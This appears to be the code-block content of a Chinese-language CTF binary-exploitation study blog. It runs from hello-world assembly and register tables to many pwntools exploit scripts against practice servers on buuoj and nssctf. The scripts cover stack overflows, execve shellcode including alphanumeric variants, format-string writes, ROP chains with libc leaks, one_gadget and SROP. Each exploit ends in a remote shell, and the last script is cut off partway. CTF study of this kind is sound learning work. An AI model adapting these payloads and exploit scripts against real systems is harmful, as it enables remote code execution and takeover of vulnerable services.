1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2025.3"
VERSION="2025.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31

1
2
3
4
5
6

#include<stdio.h>

int main(){
    printf("hello world");
    return 0;
}

1
2
3
4
5
6
7
8

.LC0:
    .string "hello world"
main:
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
    mov eax, 0
    ret

1
2

.LC0:
    .string "hello world"

1
2

//       参数1    参数2
printf("数字是: %d", 666);

1
2
3
4
5
6
7
8

0,RAX,累加器 (Accumulator)
1,RCX,计数器 (Counter)
2,RDX,数据 (Data)
3,RBX,基址 (Base)
4,RSP,栈顶 (Stack Pointer)
5,RBP,栈底 (Base Pointer)
6,RSI,源索引 (Source Index)
7,RDI,目的索引 (Destination Index)

1

R8, R9, R10, R11, R12, R13, R14, R15

1
2
3
4

mov eax, 0
call    printf@PLT
mov eax, 0
ret

1
2

mov eax, 0
ret

1
2

mov eax, 0
call    printf@PLT

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

#include<stdio.h>

int add(int a, int b){
    return a + b;
} 

int main(){
    printf("%d", add(2, 3));
    return 0;
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

add:
        push    rbp
    mov rbp, rsp
    mov DWORD PTR -4[rbp], edi
    mov DWORD PTR -8[rbp], esi
    mov edx, DWORD PTR -4[rbp]
    mov eax, DWORD PTR -8[rbp]
    add eax, edx
    pop rbp
    ret
main:
    push    rbp
    mov rbp, rsp
    mov esi, 3
    mov edi, 2
    call    add
    mov esi, eax
    lea rdi, .LC0[rip]
    mov eax, 0
    call    printf@PLT
    mov eax, 0
    pop rbp
    ret

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

add:
        push    rbp
    mov rbp, rsp
    mov DWORD PTR -4[rbp], edi
    mov DWORD PTR -8[rbp], esi
    mov edx, DWORD PTR -4[rbp]
    mov eax, DWORD PTR -8[rbp]
    add eax, edx
    pop rbp
    ret

1
2

RSP,栈顶 (Stack Pointer)
RBP,栈底 (Base Pointer)

1
2
3
4
5

int main() {
    int secret = 1234;  // 定义了一个局部变量
    printf("hello world");
    return 0;
}

1

mov DWORD PTR -4[rbp], 1234  ; 

1
2
3

    mov esi, 3
    mov edi, 2
    call    add

1
2

pop rbp
ret

1

► 0x401185 <main+67>    ret                                <0x6161616161616461>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# written by Sonnety
from pwn import *

context(os="linux", arch="amd64")
context.log_level = "debug"

host = "node5.buuoj.cn"
port = 25390

offset = 23
fun_addr = 0x401186  # 从 IDA / disas 看到的 fun() 地址
ret_addr = 0x401016

def main():
    io = remote(host, port)

    # 先输出提示再读入
    try:
        io.recvuntil(b"please input", timeout=2)
    except Exception:
        pass
    payload = b"A"*offset + p64(ret_addr) + p64(fun_addr)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

1
2
3
4

┌──(Sonnety㉿LAPTOP-R4AP2N3H)-[/mnt/d/CTF_samples/warmup-csaw-2016]
└─$ ./warmup_csaw_2016
-Warm Up-
WOW:0x40060d

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

# written by Sonnety
from pwn import *

host = "node5.buuoj.cn"
port = 28105

offset = 72
backdoor = 0x40060d

def main():
	io = remote(host,port)
	
	try:
		io.recvuntil(b"WOW:0x40060d",timeout=2)
	except Exception:
		pass
	payload=b"A"*offset+p64(backdoor)
	io.sendline(payload)
	io.interactive()
if __name__ == "__main__":
	main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21

# written by Sonnety
from pwn import *

host = "node5.buuoj.cn"
port = 28777

offset = 136
backdoor = 0x400596
ret_addr = 0x400431

def main():
	io=remote(host,port)
	try:
		io.recvuntil(b"Hello World",timeout=2)
	except Exception:
		pass
	payload=b"A"*offset+p64(ret_addr)+p64(backdoor)
	io.sendline(payload)
	io.interactive()
if __name__ == "__main__":
	main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

shellcode = ``` 
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall```

1

#\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

1

#\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05```

1

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t 

1

PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA 

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19

# written by Sonnety
from pwn import *

context.arch="i386"
host = "node5.buuoj.cn"
port = 27629
offset = 76

def main():
    io = remote(host,port)
    io.recvuntil(b"Hei,give you a gift->")
    buf_addr = int(io.recvline().strip(),16)
    shellcode = asm(shellcraft.sh())
    payload=shellcode.ljust(offset,b"\x90")+p32(buf_addr)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

# written by Sonnety
from pwn import *

context.arch="amd64"
host = "node5.buuoj.cn"
port = 25334
name_addr=0x601080
shellcode=asm(shellcraft.sh())
offset = 0x20+8

def main():
    io=remote(host,port)
    io.recvline()
    io.sendline(shellcode)
    io.recvline()
    io.recvline()
    payload=b"A"*offset+p64(name_addr)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

# written by Sonnety
from pwn import *
context.arch = "amd64"
host = "node4.anna.nssctf.cn"
port = 26418
offset = 18
name_adr = 0x6010A0	

shellcode='''
mov rbx, 0x68732f6e69622f  
push rbx
push rsp 
pop rdi
xor esi, esi               
xor edx, edx            
push 0x3b
pop rax
syscall
'''

def main():
    io = remote(host,port)
    io.recvuntil(b"Please.\n")
    io.sendline(asm(shellcode))
    io.recvuntil(b"Nice to meet you.\n")
    io.recvuntil(b"Let's start!\n")
    payload = b"A"*offset + p64(name_adr)
    io.sendline(payload)
    io.interactive()

if  __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17

# Written by Sonnety
from pwn import *

context.arch = "amd64"
host = "node5.buuoj.cn"
port = 25867
shellcode = asm(shellcraft.sh())


def main():
    io = remote(host,port)
    io.recvuntil(b"Show me your magic!\n")
    io.sendline(shellcode)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

# written by Sonnety
from pwn import *
context.arch = "i386"

host = "node5.buuoj.cn"
port = 29289
shellcode = asm(shellcraft.sh())

def main():
    io = remote(host,port)
    io.recvuntil(b"Enter a string!\n")
    io.sendline(shellcode)
    io.recvline()
    io.recvuntil(b"Thanks! Executing now...\n")
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

# written by Sonnety
from pwn import *
context(arch = "amd64",os = "linux")

f = open("shellcode_x64","wb")
shellcode = asm(shellcraft.sh())

def main():
    f.write(shellcode)
    f.close()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

# written by Sonnety
from pwn import *
context(arch = "amd64",os = "linux",log_level = "debug")

host = "node5.buuoj.cn"
port = 26289
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"


def main():
    io = remote(host,port)
    io.recvuntil(b"Show me your magic!\n")
    io.send(shellcode)  # sendline() 的 \n 可能会破坏字符检查，应该使用 send()
    # io.recvuntil(b"I Can't Read This!")
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

# written by Sonnety
from pwn import *
context.arch="amd64"

host = "node5.anna.nssctf.cn"
port = 23022
shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

def main():
    io=remote(host,port)
    io.send(shellcode)
    io.interactive()

if __name__ == "__main__":
    main()

1
2
3
4
5
6
7
8
9

高地址
+------------------------+
| 保存的 esp             |
+------------------------+
|   _exit                |
+------------------------+
| paddding(0x14)         |	<-- esp now
+------------------------+
低地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']


host = "node5.buuoj.cn"
port = 29276
io = remote(host,port)
# io = process("./start")
sys_write = 0x8048087
shellcode = b"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"

def main():
    io.recvuntil(b"Let's start the CTF:")
    payload = shellcode.ljust(0x14,b'\x00')
    payload = b'A'*0x14 + p32(sys_write)
    io.send(payload)
    leak_data = io.recvn(4)
    # print("\n[*] DEBUG : leak data = ",leak_data)
    new_esp = u32(leak_data)
    print("\n[+] Leak new esp adress :",hex(new_esp))
    payload = b'A'*0x14 + p32(new_esp + 0x14) + shellcode
    io.send(payload)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

高地址
+------------------------+
| 返回地址 RET           |  <-- 函数 ret 会跳到这里
+------------------------+
| 保存的 RBP（旧栈底）    |
+------------------------+
| 其他局部变量(可选)      |
+------------------------+
| buf[64]                |  <-- 溢出从这里开始往上“顶”
+------------------------+
低地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

高地址
+------------------------+
| 返回地址 RET           |
+------------------------+
| 保存的 RBP（旧栈底）    |
+------------------------+
| Canary（栈保护值）      |  <-- 夹在中间
+------------------------+
| 其他局部变量(可选)      |
+------------------------+
| buf[64]                |
+------------------------+
低地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

# written by Sonnety
from pwn import *
context.arch = "i386"

host = "node5.buuoj.cn"
port = 28944
x_addr = 0x804A02C

def main():
    io = remote(host,port)
    payload = p32(x_addr) + b"%11$n"    # offset = 11
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

# written by Sonnety
from pwn import *
context.arch = "i386"

host = "node5.buuoj.cn"
port = 29968
buf_addr = 0x804C044

def main():
    io = remote(host,port)
    io.recvuntil("your name:")
    payload = p32(buf_addr)+b"%10$n"    # offset = 10
    io.sendline(payload)
    io.recvline()
    io.recvuntil("your passwd:")
    io.sendline(b"4")
    io.interactive()

if __name__ == "__main__":
    main()

1
2
3

char nptr[136]; // [rsp+A0h] [rbp-A0h] BYREF
unsigned __int64 v8; // [rsp+128h] [rbp-18h]
v8 = __readfsqword(0x28u);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

# written by Sonnety
from pwn import *
context.arch = "amd64"

host = "node5.buuoj.cn"
port = "27101"
offset = 136

def main():
    io = remote(host,port)
    io.recvuntil(b"Tell me your name first\n")
    io.sendline(b"%43$p.%46$p")  # canary_k = 43,stack_k = 46
    io.recvuntil(b"Alright, pass a little test first, would you.\n")
    io.recvline()
    io.recvuntil("0x")
    canary = int(io.recv(16),16)
    io.recvuntil("0x")
    stack_addr = int(io.recv(12),16)
    for i in range(9):
        io.sendline("Sonnety kawaii daisuki")
        io.recv()
    shellcode = asm(shellcraft.sh())
    payload = shellcode + (offset - len(shellcode)) * b"A" + p64(canary) + 3 * p64(0x0) + p64(stack_addr - 192)
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 27434
io = remote(host,port)
# io = process("./axb_2019_fmt32")
elf = ELF("./axb_2019_fmt32")
libc = ELF("./libc-2.23.so")
printf_got = elf.got['printf']

def main():
    io.recvuntil(b"So I'll answer whatever you say!\n")
    print("\n[+] Leak printf GOT address :",hex(printf_got))
    io.recvuntil(b"Please tell me:")
    payload = b'A' + p32(printf_got) + b"%8$s"
    io.sendline(payload)
    io.recvuntil(b"Repeater:A" + p32(printf_got))
    leak_data = io.recv(4)
    printf_addr = u32(leak_data)
    print("\n[+] Leak printf address :",hex(printf_addr))
    libc_base = printf_addr - libc.sym['printf']
    print("\n[+] Leak libc base address :",hex(libc_base))
    system = libc_base + libc.sym['system']
    print("\n[+] Leak system address :",hex(system))
    one_gadget_offset = 0x3a812
    one_gadget = libc_base + one_gadget_offset
    print("\n[+] Leak One gagdet address",one_gadget)
    io.recvuntil(b"Please tell me:") 
    payload = b'A' + fmtstr_payload(8,{printf_got:one_gadget},write_size="byte",numbwritten=0xa)
    # payload = b'A' + fmtstr_payload(8,{printf_got:system},write_size="byte",numbwritten=0xa)
    io.sendline(payload)
    sleep(0.01)
    # io.sendline(b";/bin/sh")
    # sleep(0.01)
    io.sendline(b"cat flag")
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

# written by Sonnety
from pwn import *
from struct import pack
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 28089
io=remote(host,port)

def main():
    p = b'A'*0x10
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'/bin'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea064) # @ .data + 4
    p += pack('<I', 0x080b8016) # pop eax ; ret
    p += b'//sh'
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080481c9) # pop ebx ; ret
    p += pack('<I', 0x080ea060) # @ .data
    p += pack('<I', 0x080de769) # pop ecx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x0806ecda) # pop edx ; ret
    p += pack('<I', 0x080ea068) # @ .data + 8
    p += pack('<I', 0x080492d3) # xor eax, eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0807a66f) # inc eax ; ret
    p += pack('<I', 0x0806c943) # int 0x80
    io.send(p)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

# written by Sonnety
from pwn import*
context.arch = "amd64"

host = "node5.buuoj.cn"
port = 29812

io=remote(host,port)
offset = 24
system = 0x400490
binsh = 0x601048
pop_rdi_ret = 0x400683
payload = b"A"*offset + p64(pop_rdi_ret) + p64(binsh) + p64(system)

def main():
    io.sendline(payload)
    io.interactive()

if __name__ == "__main__":
    main()

1
2
3
4
5

内存地址         数据内容              逻辑含义
      | ...       |   | ...         |
RSP ->| 0x7fff... |   | 0x400c83    |  <-- ret 
      | 0x7fff... |   | 0x400795    |  <-- main_addr (返回地址)
      | ...       |   | ...         |

1
2
3
4
5
6
7

payload1 = flat([
    b'A' * offset,
    pop_rdi_ret,
    puts_got,      # rdi = puts_got
    puts_plt,      # call puts
    main_addr      # return to main
])

1
2
3
4
5
6
7

内存地址         数据内容              逻辑含义
      | ...       |   | ...         |
RSP ->| 0x7fff... |   | 0x400c83    |  <-- pop_rdi_ret (Gadget地址)
      | 0x7fff... |   | 0x601018    |  <-- puts_got (作为参数的数据)
      | 0x7fff... |   | 0x4006e0    |  <-- puts_plt (函数地址)
      | 0x7fff... |   | 0x400795    |  <-- main_addr (返回地址)
      | ...       |   | ...         |

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# written by Sonnety
from pwn import *
context.arch = "amd64"

host = "node5.buuoj.cn"
port = 26159
io = remote(host,port)
elf = ELF("./ciscn_2019_c_1")
offset = 0x57
padding = b'\0' + b"A"*offset
pop_rdi_ret = 0x400c83
ret = 0x400c84
encrypt = 0x4009A0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload_1 = padding + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt)

def main():
    io.recvuntil(b"Input your choice!\n")
    io.sendline(b"1")
    io.recvuntil(b"Input your Plaintext to be encrypted\n")
    io.sendline(payload_1)
    puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))    
    print(hex(puts_addr))   # 0x7f32720c99c0 → libc6_2.27-3ubuntu1_amd64
    system_addr = puts_addr - 0x31580
    binsh_addr = puts_addr + 0x1334da
    payload_2 = b'\0' + b'A'*offset + p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(system_addr)
	# + ret 栈对齐
    io.recvuntil(b"Input your Plaintext to be encrypted\n")
    io.sendline(payload_2)
    io.interactive()
    
if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# written by Sonnety
from pwn import *
context(os = "linux", arch = "amd64", log_level = "debug")
host = "node5.buuoj.cn"
port = 26772

io = remote(host,port)
# io = process("./level3_x64")
elf = ELF('./level3_x64')
offset = 0x88
main_addr = 0x40061A
pop_rdi = 0x4006b3
pop_rsi_r15 = 0x4006b1
write_plt = elf.plt['write']
write_got = elf.got['write']    # write(fd←rdi,buf←rsi,count←rdx)
payload_1 = b'A'*offset + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(write_got) + p64(114514) + p64(write_plt) + p64(main_addr)
# 存在 read(0, buf, 0x200u); 使 rdx 足够大，不再更改rdx
# rdi = 1 , rsi = write_got , r15 = 114514 , rdx = 0x200u
# r15 = 114514 没有任何意义，只是为了吃掉 pop r15
def main():
    io.recvuntil(b"Input:\n")
    io.sendline(payload_1)
    leak_data = io.recvn(8)
    write_addr = u64(leak_data)
    print(hex(write_addr))  # 0x7f8a1e8842b0 → libc6_2.23-0ubuntu10_amd64
    libc = write_addr - 0xf72b0
    system = libc + 0x45260
    binsh = libc + 0x18cd57
    payload_2 = b'A'*offset + p64(pop_rdi) + p64(binsh) +p64(system)
    io.sendline(payload_2)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

# written by Sonnety
from pwn import *
from LibcSearcher import *

context(os = "linux",arch = "i386",log_level = "debug")
host = "node5.buuoj.cn"
port = 25475

io = remote(host,port)
# io = process("./level3")
elf = ELF("./level3")
offset = 0x8c
main_addr = 0x8048484    # main	08048484	
write_got = elf.got['write']
write_plt = elf.plt['write']
payload_1 = b'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

def main():
    io.recvuntil(b"Input:\n")
    io.sendline(payload_1)
    leak_data = io.recvn(4)
    write_addr = u32(leak_data)
    print(hex(write_addr))  # 0x656d6974
    # libc = LibcSearcher('write',write_addr)
    libc_base = write_addr - 0xd43c0
    system = libc_base + 0x3a940
    binsh = libc_base + 0x15902b
    payload_2 = b'A'*offset + p32(system) + p32(main_addr) + p32(binsh)
    io.recvuntil(b"Input:\n")
    io.sendline(payload_2)
    io.interactive()

if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'i386',log_level = 'debug')

host = "node5.buuoj.cn"
port = 28281
io = remote(host,port)
# io = process('./pwn')
elf = ELF('./pwn')

offset = 235
write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = 0x8048825
payload_1 = b'\x00' + b'A'*6 + b'\xFF'  # '\x00' 截断字符比对，'\xFF' 使函数返回值为 255

def main():
    io.sendline(payload_1)
    io.recvuntil(b"Correct\n")
    payload_2 = b'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
    io.sendline(payload_2)
    leak_data = io.recvn(4)
    write_addr = u32(leak_data)
    print(hex(write_addr))  # 0xf7e233c0 → libc6_2.23-0ubuntu11.3_i386
    libc = write_addr - 0xd43c0
    system = libc + 0x3a940
    binsh = libc + 0x15902b
    payload_3 = b'A'*offset + p32(system) + p32(main_addr) + p32(binsh)
    io.sendline(payload_1)
    io.recvuntil(b"Correct\n")
    io.sendline(payload_3)
    io.interactive()


if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 26004
io = remote(host,port)
# io = process("./babyrop2")
elf = ELF("./babyrop2")
offset = 0x28
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x400731
ret = 0x400734
main_addr = 0x400636    # main	0000000000400636	
read_got = elf.got['read']
printf_plt = elf.plt['printf']
fmt = next(elf.search(b"%s"))
payload_1 = b'A'*offset + p64(pop_rdi_ret) + p64(fmt) + p64(pop_rsi_r15_ret) + p64(read_got) + p64(114514) + p64(printf_plt) + p64(main_addr)

def main():
    io.recvuntil(b"What's your name?")
    io.sendline(payload_1)
    # leak_data = io.recvn(8)
    # printf_addr = u64(leak_data)
    read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) 
    print(hex(read_addr))       # 0x7fcb56c6f250
    libc = read_addr - 0xf7250
    system = libc + 0x45390
    binsh = libc + 0x18cd57     #.rodata:000000000018CD57	00000008	C	/bin/sh
    payload_2 = b"A"*offset + p64(pop_rdi_ret) + p64(binsh) + p64(system)
    io.recvuntil(b"What's your name?")
    io.sendline(payload_2)
    io.interactive()
    
if __name__ == "__main__":
    main()

1
2
3
4
5
6

void magic_gadgets(){
	if (constraints_satisfied){//约束条件检查
		execve("/bin/sh",0,0);
		exit(0);
	}
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 26565
io = remote(host,port)
elf = ELF("./ciscn_2019_c_1")
libc = ELF("./libc-2.27.so")
offset = 0x57
padding = b'\0' + b"A"*offset
pop_rdi_ret = 0x400c83
ret = 0x400c84
encrypt = 0x4009A0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload_1 = padding + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(encrypt)

def main():
    io.recvuntil(b"Input your choice!\n")
    io.sendline(b"1")
    io.recvuntil(b"Input your Plaintext to be encrypted\n")
    io.sendline(payload_1)
    puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))    
    print(hex(puts_addr))   # 0x7f32720c99c0 → libc6_2.27-3ubuntu1_amd64
    libc_base = puts_addr - libc.sym['puts']
    one_gadget_offset = 0x4f322
    one_gadget = libc_base + one_gadget_offset
    payload_2 = b'\0' + b'A'*offset + p64(one_gadget)
    io.recvuntil(b"Input your Plaintext to be encrypted\n")
    io.sendline(payload_2)
    io.interactive()
    
if __name__ == "__main__":
    main()


# └─$ one_gadget libc-2.27.so
# 0x4f2be execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   address rsp+0x50 is writable
#   rsp & 0xf == 0
#   rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   address rsp+0x50 is writable
#   rsp & 0xf == 0
#   rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
#   [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

1
2
3
4
5
6
7
8

	frame2 = SigreturnFrame()
    frame2.rax = constants.SYS_execve
    frame2.rdi = binsh_addr
    frame2.rsi = 0
    frame2.rdx = 0
#   frame2.rsp = 
#	frame2.rbp = 
    frame2.rip = syscall_ret

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')

host = "node5.buuoj.cn"
port = 28445
io = remote(host,port)
# io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")
vuln_addr = 0x4004ed
syscall = 0x400517
mov_rax_15_ret = 0x4004da

payload_1 = b'/bin/sh\x00' + b'A'*8 + p64(vuln_addr)
# 没有 pop rbp 直接 retn，所以 padding 长度为 0x10

def main():
    io.sendline(payload_1)
    # gdb.attach(io,"b *0x400517\nc")    # vuln 函数中执行 syscall 的指令地址
    # pause()
    io.recv(0x20)   # payload_1 + saved_rbp
    stack_leak = u64(io.recv(8))  # 泄露的栈上的地址
    binsh = stack_leak - 0x118    # 本地 0x148，靶机通常在 0x110 左右
    frame = SigreturnFrame()
    frame.rax = 59              # sys_execve
    frame.rdi = binsh           # 指向 /bin/sh
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall         # 恢复现场后，去执行 syscall
    payload_2 = b'/bin/sh\x00' + b'A'*8 + p64(mov_rax_15_ret) + p64(syscall) + bytes(frame)
    io.sendline(payload_2)
    io.interactive()


if __name__ == "__main__":
    main()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

# written by Sonnety
from pwn import *
context(os='linux', arch='amd64', log_level='debug')


# io = remote("node.buuoj.cn", 12345)
io = process("./ciscn_s_3")
elf = ELF("./ciscn_s_3")
bss_addr = elf.bss() + 0x500 

mov_rax_15_ret = 0x4004DA   # sigreturn
syscall_ret = 0x400517

def main():
    frame1 = SigreturnFrame()
    frame1.rax = constants.SYS_read
    frame1.rdi = 0
    frame1.rsi = bss_addr
    frame1.rdx = 0x400
    frame1.rsp = bss_addr
    frame1.rip = syscall_ret

    payload_1 = b'A' * 0x10 + p64(mov_rax_15_ret) + p64(syscall_ret) + bytes(frame1)
    io.send(payload_1)
    # 此时 rsp 指向我们设定的 bss 段    
    io.recv(0x30)   # 程序会执行原本的 sys_write 吐出 0x30 字节垃圾数据，无视它
    sleep(0.1)

    binsh_addr = bss_addr + 0x108
    
